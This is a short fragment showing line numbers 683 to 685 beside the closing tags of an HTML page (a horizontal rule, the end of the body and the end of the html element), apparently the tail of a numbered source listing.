683
<hr>
684
</body>
685
</html>